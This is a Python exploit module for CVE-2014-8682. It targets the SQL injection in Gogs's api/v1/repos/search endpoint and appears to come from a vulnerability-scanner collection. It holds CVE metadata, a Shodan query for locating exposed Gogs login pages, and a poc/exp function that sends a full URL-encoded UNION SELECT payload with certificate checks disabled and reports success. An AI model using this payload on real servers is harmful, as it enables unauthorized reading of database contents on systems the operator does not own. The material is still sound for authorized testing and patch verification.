CVE-2014-8682.py

import requests


# Vuln Base Info
def info():
    return {
        "author": "cckuailong",
        "name": '''Gogs - 'users'/'repos' '?q' SQL Injection''',
        "description": '''Multiple SQL injection vulnerabilities in Gogs (aka Go Git Service) 0.3.1-9 through 0.5.x before 0.5.6.1105 Beta allow remote attackers to execute arbitrary SQL commands via the q parameter to (1) api/v1/repos/search, which is not properly handled in models/repo.go, or (2) api/v1/users/search, which is not properly handled in models/user.go.''',
        "severity": "high",
        "references": [
            "https://nvd.nist.gov/vuln/detail/CVE-2014-8682", 
            "http://seclists.org/fulldisclosure/2014/Nov/33", 
            "http://packetstormsecurity.com/files/129117/Gogs-Repository-Search-SQL-Injection.html", 
            "https://github.com/gogits/gogs/commit/0c5ba4573aecc9eaed669e9431a70a5d9f184b8d", 
            "http://www.exploit-db.com/exploits/35238", 
            "https://exchange.xforce.ibmcloud.com/vulnerabilities/98694"
        ],
        "classification": {
            "cvss-metrics": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H",
            "cvss-score": "10.0",
            "cve-id": "CVE-2014-8682",
            "cwe-id": "CWE-89"
        },
        "metadata":{
            "vuln-target": "",
            "shodan-query":'''title:"Sign In - Gogs"'''
        },
        "tags": ["cve", "cve2014", "sqli", "gogs"],
    }


# Vender Fingerprint
def fingerprint(url):
    return True

# Proof of Concept
def poc(url):
    result = {}
    try:
        url = format_url(url)
        path = '/api/v1/repos/search?q=%27)%09UNION%09SELECT%09*%09FROM%09(SELECT%09null)%09AS%09a1%09%09JOIN%09(SELECT%091)%09as%09u%09JOIN%09(SELECT%09user())%09AS%09b1%09JOIN%09(SELECT%09user())%09AS%09b2%09JOIN%09(SELECT%09null)%09as%09a3%09%09JOIN%09(SELECT%09null)%09as%09a4%09%09JOIN%09(SELECT%09null)%09as%09a5%09%09JOIN%09(SELECT%09null)%09as%09a6%09%09JOIN%09(SELECT%09null)%09as%09a7%09%09JOIN%09(SELECT%09null)%09as%09a8%09%09JOIN%09(SELECT%09null)%09as%09a9%09JOIN%09(SELECT%09null)%09as%09a10%09JOIN%09(SELECT%09null)%09as%09a11%09JOIN%09(SELECT%09null)%09as%09a12%09JOIN%09(SELECT%09null)%09as%09a13%09%09JOIN%09(SELECT%09null)%09as%09a14%09%09JOIN%09(SELECT%09null)%09as%09a15%09%09JOIN%09(SELECT%09null)%09as%09a16%09%09JOIN%09(SELECT%09null)%09as%09a17%09%09JOIN%09(SELECT%09null)%09as%09a18%09%09JOIN%09(SELECT%09null)%09as%09a19%09%09JOIN%09(SELECT%09null)%09as%09a20%09%09JOIN%09(SELECT%09null)%09as%09a21%09%09JOIN%09(SELECT%09null)%09as%09a22%09where%09(%27%25%27=%27'

        resp = requests.get(url+path, timeout=10, verify=False, allow_redirects=False)
        if resp.status_code == 200 and '"ok":true' in resp.text and '"data"' in resp.text:
            result["success"] = True
            result["info"] = info()
            result["payload"] = url+path

    except:
        result["success"] = False
    
    return result


# Exploit, can be same with poc()
def exp(url):
    return poc(url)


# Utils
def format_url(url):
    url = url.strip()
    if not ( url.startswith('http://') or url.startswith('https://') ):
        url = 'http://' + url
    url = url.rstrip('/')

    return url